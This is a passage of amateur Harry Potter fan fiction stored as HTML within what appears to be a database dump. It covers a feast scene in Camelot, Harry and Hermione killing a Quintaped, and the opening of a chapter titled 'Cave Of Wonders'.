doing really well.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Are you having any more trouble with\nthat Gryffindor lad?&#8221; Finley hoped she did.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Nope, everything is fine with him.&nbsp; In fact he is here with me.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Finley looked around, &#8220;really?&nbsp; I haven&#8217;t seen him with you.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Well he&#8217;s talking with William the\nweapons master, so he&#8217;ll probably be gone for a few hours.&nbsp; One of Torrin&#8217;s passions are fine swords.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You should be his only passion.&#8221; Finley\nsaid.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine whirled around to face him,\n&#8220;that is not appropriate conversation with me Finley, I am spoken for and not\nto mention it&#8217;s&nbsp; incredibly rude of you\nto say such a thing.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What? I didn&#8217;t say anything.&#8221; He said\nlooking around.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine rolled her eyes.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It&#8217;s just he doesn&#8217;t appreciate you,&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Her eyes narrowed, &#8220;that&#8217;s enough\nFinley, just because you are bitter and alone don&#8217;t take it out on Torrin, he\ndoesn&#8217;t deserve it.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What was so wrong with me eh? Why\ncouldn&#8217;t I capture your heart?&#8221; He glanced at the ground and kicked a rock with\nhis foot.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It&#8217;s nothing against you Finley, you are\na wonderful person and a great athlete. And if I wasn&#8217;t in love with Torrin, it\nprobably would be you that I would be with.&nbsp;&nbsp;\nI&#8217;m sorry, we can&#8217;t choose who we fall in love with, sometimes I think\nit&#8217;s already set with fate who we love.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Finley sighed &#8220;well, he&#8217;s very fortunate\nto have someone like you to love him.&#8221;&nbsp;\nHe heard the trumpets sounding.&nbsp;\n&#8220;The feast is starting, we should go.&#8221;&nbsp;\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Finley and Jasmine walked towards the\noutside area where they held the feast, Jasmine sat down next to Torrin who was\nstill talking with the weapon&#8217;s master.&nbsp;\nHe then turned his attention to her.&nbsp;\n</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">He\nleaned over to speak quietly to her &#8220;Jasmine, when can we leave?&nbsp; This weapons master is a real arrogant fool\nand he&#8217;s not even that good with any weapon, sword ,battle axe, and he has a\nreally hard time with archery, maybe you could teach him a thing or two about\narchery. &#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;ve known William for years, and he&#8217;s\nmore shouting and yelling then a man of action.&nbsp;\nI don&#8217;t understand myself why they elected him weapons master.&nbsp; And well we cant leave until tomorrow, after\nthe protective shield around Camelot opens, this was&nbsp; my own idea to keep Camelot safe from evil\ncreatures and beings.&nbsp; It only opens\nevery two days for two hours to let people in an out&#8221; She smiled.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You are sure brilliant.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine blushed a bright shade of\ncrimson &#8220;thanks Torrin.&#8221; She smiled.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What are you blushing for?&#8221; A tiny\nsmirk tugged at the corner of his mouth.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I can&#8217;t help it, sometimes the things\nyou say or do in public cause me to turn crimson.&#8221;&nbsp; She then turned her attention back to her\nfood.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;If me telling you that you are\nbrilliant makes you turn crimson I wonder what would happen if I did. . .&#8221; His\nhand went under the table and rested against her knee.&nbsp; That was nothing out of the ordinary so she\ndidn&#8217;t bring his attention to it.&nbsp; She\npicked up a piece of bread and split it in half she lifted the bread to her\nmouth but stopped in mid air as she felt one side of the skirt of her gown\nbeing slowly lifted and she could feel the cool air on her bare thigh.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What are you doing?&#8221; She whispered.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You&#8217;ll see, more like you&#8217;ll feel.&#8221; He\nreplied whispering in her ear as his&nbsp;\nwarm&nbsp; hand started at her knee and\nslowly wandered upward to her thigh to pass over a piece of silk which she used\nas an undergarment.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She couldn&#8217;t help her quick breathing\nand her face indeed was turning a deep shade of crimson.&nbsp; When she felt his fingers slip into the silk\ncloth and come in contact with her sex, she had to bite down on her bottom lip\nto keep from gasping out loud.&nbsp; &#8220;Torrin,\nplease don&#8217;t do this here, people will see and hear.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He then pulled his hand away and dropped\nher skirt over her leg again, he heard her sigh, &#8220;I just wanted to see if you\nwould turn red, and well you did.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine looked over at him, &#8220;just you\nwait, you are going to pay for that.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin smirked, &#8220;Oh I hope so.&#8221;&#8212;</i>The sound of chirping birds woke Hermione and\nHarry.&nbsp; Hermione stirred and slowly\nopened her eyes, the warm sunlight was streaming in through the window.&nbsp; She sat up and stretched as if trying to\nreach the heavens.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nglanced down at Harry still sleeping, &#8220;come on Harry, time to get up.&#8221; She said\nwhile shaking his shoulder gently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nopened one eye seeing her looking down at him from a sitting position, &#8220;morning\nalready?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep,\nnow come on. We need to get going.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nquickly dressed and headed out of the room, they took care of their bathroom\nduties as the smell of breakfast filled their senses.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ncame from the bathroom carrying his bag over his shoulder, he set it down on\nthe floor next to the table and sat down in a chair next to Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nilrem\nwalked over carrying plates of breakfast foods for them, some scrambled eggs,\ntoast and he seemed to fry the potatoes they didn&#8217;t finish last night.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ntwo of them immediately started in on the food.&nbsp;\nThey were sure sick of fruit they had been having every morning, noon\nand night.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did\nyou have a restful sleep?&#8221; Nilrem asked as he too started on his breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;At\nleast we didn&#8217;t have to sleep on the ground.&#8221; Harry replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">And\nthe three of them finished their breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nassume you two want to get out of here pretty quick.&#8221; Nilrem said looking at\nhis fingers</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nno matter what is out there we need to get to Camelot.&nbsp; We&#8217;ll just have to chance it.&#8221; Hermione\nreplied as she set down her fork and glanced up Nilrem who&#8217;s eyes were\ntwinkling.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ntwo are sure brave and I wish you all the luck in your quest.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione stood up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thanks\nfor your hospitality.&#8221; Hermione said with a smile while she and Harry who\npicked up his bag headed for the door.&nbsp;\nWhen Hermione was out the door Nilrem spoke up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry\ncould I see you a minute before you leave?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nturned around, &#8220;sure.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nilrem\napproached him holding a sword in his had, he handed it to Harry.&nbsp; &#8220;Take this with you, you&#8217;ll never know when\nyou&#8217;ll need it.&nbsp; This is a very special\nsword, it should only be used in great need, and if the situation is right.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ntook the blade in his hand, it was as if it were singing to him, he could hear\na pleasant humming in his head.&nbsp; The\nmetal looked a little pure and it shimmered, The sun wasn&#8217;t even shining on\nit.&nbsp; &#8220;Are you sure you wanna give this to\nme?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nI know you&#8217;ll take good care of it.&#8221; Nilrem said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nglanced at the sword for a moment, he nodded then opened his bag and set the\nsword in it.&nbsp; He closed up his bag.&nbsp; &#8220;Thanks Nilrem, Hermione and I will never\nforget you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Same\nhere my boy,&#8221; Nilrem smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ncame out of&nbsp; the house finding Hermione\nsitting on the porch railing.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nstood, &#8220;there you are.&#8221; Hermione smiled upon seeing him, she pointed to his\nbag. &#8220;do you want me to?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Please.&#8221;\nHe answered with a smile of his own.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshrunk his bag for him and he tucked it into his pocket.&nbsp; They started towards the gates of the\nvillage.&nbsp; And approached two men who were\nsitting in chairs next to the gates</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is\nit safe to go out?&#8221; Harry asked the two villagers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">There\nwas a different station with peep holes around the village wall so that they could\nsee outside, several different people who positioned at their stations were\nlooking out the holes.&nbsp; They each gave an\nokay signal and the two half giants pulled the log lock off their large door,\nand two smaller men pulled the gates opened.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione cautiously stepped out of the village and the gates slowly closed\nbehind them.&nbsp; The beast was no where to\nbe found as the continued away from the village.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou think it&#8217;s hiding?&#8221; Hermione asked glancing about the woods.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nprobably exactly what it is doing.&#8221; Harry said while grabbing a hold of her\nhand in a protective gesture.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nhadn&#8217;t gotten to far from the village when the heard that same loud, ear\npiercing roar from the beast.&nbsp; It jumped\nfrom an unseen area to land right in front of them.&nbsp; The whole ground shook that Harry and\nHermione almost lost their balance, they turned to run the other way, but the\nQuintaped jumped again landing directly in front of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHarry and Hermione had their wands out, pointing it at the Quintaped,\n&#8220;stupefy.&#8221;&nbsp; They shouted several times at\nthe beast, and tried the leg locker curse, but that was doing little damage,\nthe creature was still descending upon them.&nbsp;\nThe spell hit one of its legs, but it seemed to just shake it off and\ncontinue towards them. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Incendio!&#8221;\nHermione shouted pointing her wand at the creature, a fire stirred around the\nbeast, but it didn&#8217;t even touch the Quintaped.&nbsp;\n&#8220;Great a beast that happens to be fire proof&#8221; she said in irritation.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\ntried more spells, but nothing was affecting it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing\nis working.&#8221; Hermione shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nQuintaped swiped its leg at their feet causing them to fall to the ground,\nHarry and Hermione landed on their backs stunned, they were now looking up at\nthe creature who was above them, it&#8217;s mouth open and the acidic saliva dripping\nfrom its teeth.&nbsp; The saliva dropped onto\nthe ground next to Hermione&#8217;s head and they could hear the loud hiss of the\ndissolving leaves and sticks.&nbsp; It was now\ndirectly over them ready to bend down more and sink it&#8217;s sharp teeth into one\nof them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnoticed it had a soft looking underbelly, well it was worth shot.&nbsp; His foot shot up and kicked the creature in\nthe stomach, it squealed and backed off a moment.&nbsp; It lifted its own leg to bring it down on\nthem, but Harry and Hermione rolled out of the way just as the foot came\ncrashing down, barely missing them. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\njust started swiping it&#8217;s legs at them in different directions, they knew they\ncouldn&#8217;t out run the Quintaped, every time they attempted it would just change\ndirections as quickly and use it&#8217;s massive legs to jump in the air and land\npreventing their escape.&nbsp; No wonder the\nvillagers had a hard time with this creature, once it has its heart on eating\nyou, it won&#8217;t relent until you are in its stomach.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\ndodging the legs it shot out trying to either hit them or trip them, Harry\npointed out that it does have a weakness.&nbsp;\nHarry could feel the something warm trickling down the side of his face,\nhe lifted his hand and wiped at it, but he didn&#8217;t care if it was blood since he\nhad so many cuts and gashes from this creature that another one really didn&#8217;t\nmatter.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nQuintaped had chased Harry and Hermione into a garden of huge rocks and\nboulders, they were trapped.&nbsp; The two of\nthem jumped behind a large boulder attepting to hide from the creature, even if\nit was only for a moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How&#8212;do&#8212;we&#8212;kill&#8212;it?&#8221;\nHermione said panting for air, feeling exhausted and very sore. Her ankles were\nkilling her, it took a lot of pain endurance to keep standing from whenever the\nQuintaped would trip them since it would smash its leg into their ankles. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink whatever we should do it, aim for the underbelly, it seems to be a\nvulnerable place.&nbsp; I mean the hairs are razor\nsharp and it also protects the creature.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;One\nof us has to get close enough to it to reach the underbelly, while the other is\nthe distraction.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;all right you be the distraction.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?\nI was thinking more along the lines of you being the distraction.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,\nthis is no time to argue about it.&nbsp; Just\ndo it. I have an idea.&#8221;&nbsp; Harry said.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nagreed &#8220;let&#8217;s just hope it works.&#8221; She ran out from behind their hiding place\nand jumped up and down, making a lot of noise and waving her arms in the air\nlike a maniac. The creature started towards her quickly as it neared her more\nit slowed down, looking for ways its prey would escape, there were none as\nHermione pressed herself up against the dead end, it was directly in front of her\nstill as can be.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwalked around the other side of the boulder while it was distracted by\nHermione, he laid himself down on his back so he was facing upward.&nbsp; He slid underneath the beast since there was\na gap between the ground and the beast.&nbsp;\nHarry lifted his wand pointing it at the beast&#8217;s stomach which did look\nvery soft and squishy.&nbsp; &#8220;Incendio.&#8221; He\nwhispered and the spell shot out from the wand catching the Quintaped&#8217;s stomach\non fire.&nbsp; The beast shrieked as the fire\nspread through all over the creature, it was jumping wildly in the air away\nfrom Harry and Hermione, it couldn&#8217;t go to far because the fire was causing\nmuch pain and suffering on the shrieking creature.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione felt sorry that they had to do that its shrieks and screams were\npitiful, it was suffering.&nbsp; He opened\npulled his bag out of his pocket.&nbsp;\n&#8220;Hermione remove the shrinking charm.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nglanced at him oddly but she removed the charm, She watched as Harry opened his\nbag and pulled out a weapon, it wasn&#8217;t just any weapon it was a sword.&nbsp; &#8220;Where did you get that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nNilrem gave it to me,&#8221; He quickly ran over to the beast as it was still in\nagony, it was turned over on its back still writhing with anguish.&nbsp; Without another thought Harry stabbed the\nsword into the Quintaped, ending its life.&nbsp;\nThe creature stiffened and its legs hung limp, it&#8217;s breathing\nceased.&nbsp; It was dead.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\npulled the sword from the dead Quintaped. Hermione who was limping walked up\nbehind him.&nbsp; She put a hand on his\nshoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ndid what you had to do, now the villagers can leave their village and they\nwon&#8217;t have to live in fear anymore from this creature.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnodded, agreeing.&nbsp; Harry with Hermione\nwalked back over to where his bag was and he put the sword away.&nbsp; Hermione reached into her own pocket and\npulled out her bag.&nbsp; She removed the\ncharm and opened her bag, pulling out the vile of healing elixir.&nbsp; &#8220;We should use some of this.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsat down on the ground, leaning up against the boulder.&nbsp; &#8220;How do we know it&#8217;s not poison, after all it\ndid come from Snape.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\nwas as if Hermione didn&#8217;t hear him because she lifted the vile over her mouth a\nlet a drop drip into her mouth.&nbsp; She\nswallowed it. &#8220;I&#8217;ll let you know.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;\nShe felt all tingly where her cuts, bruises and sprains were.&nbsp; Not even a second later she got to her feet,\nfeeling very good and healthy. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nhad watched Hermione as her cuts and bruises vanished from her face and\narms.&nbsp; And she held the elixir out for\nhim.&nbsp; He accepted it also taking a drop\nof it. He felt himself heal up and he also got a boost of energy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nand Harry put their stuff back in their bags, Hermione shrunk them and they\nwere returned to their pockets.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Without\nlooking back at the dead Quintaped the started climbing over the large\nboulders. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;After climbing over the huge boulders, they\ngot to the edge of the rock garden and could see far and wide over the\nlandscape.&nbsp; It was magnificent as they\nsaw the city of Camelot down below.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nturned to Hermione with a smile, &#8220;we&#8217;re nearly there.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsmiled back as she too looked upon the great city of Camelot.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Yay\nthey are almost there and wow what an evil creature huh?&nbsp; Well stay tuned for Chapter 20&#8212;Cave Of\nWonders. Please read and review, thanks Ryoko</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 20, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Disclaimer: Alright all the\nHarry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine,\nUlrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me\nbecause I don&#8217;t have anything ;)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 20&#8212;Cave Of Wonders</p>\n\n<p class="MsoBodyTextIndent">The city\nof Camelot seemed to glitter in the afternoon sun; the\ngoldenrod walls going around the city gave a slight Middle Eastern feel to\nit.&nbsp; There was a large castle in the\ncenter of the great city, with red and gold flags waving from the roofs. There\nwere nice size houses around the castle and the streets looked busy with the\ndaily routines of it&#8217;s happy citizens.&nbsp; You could hear children laughing as they\nplayed in the parks and some splashed about a great water fountain in the\nmiddle of the town. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione climbed down from the mountain and\napproached the front gate where a young man in a cart was just waiting\nthere.&nbsp; The gate looked open.&nbsp; And he was just sitting there for a long\ntime.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;The young man heard\nthem come up he turned to look at them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Sir, could we ask why you&#8217;re just sitting here?&#8221; Hermione\nasked, &#8220;The gate looks open.&#8221;</p>\n\n<p 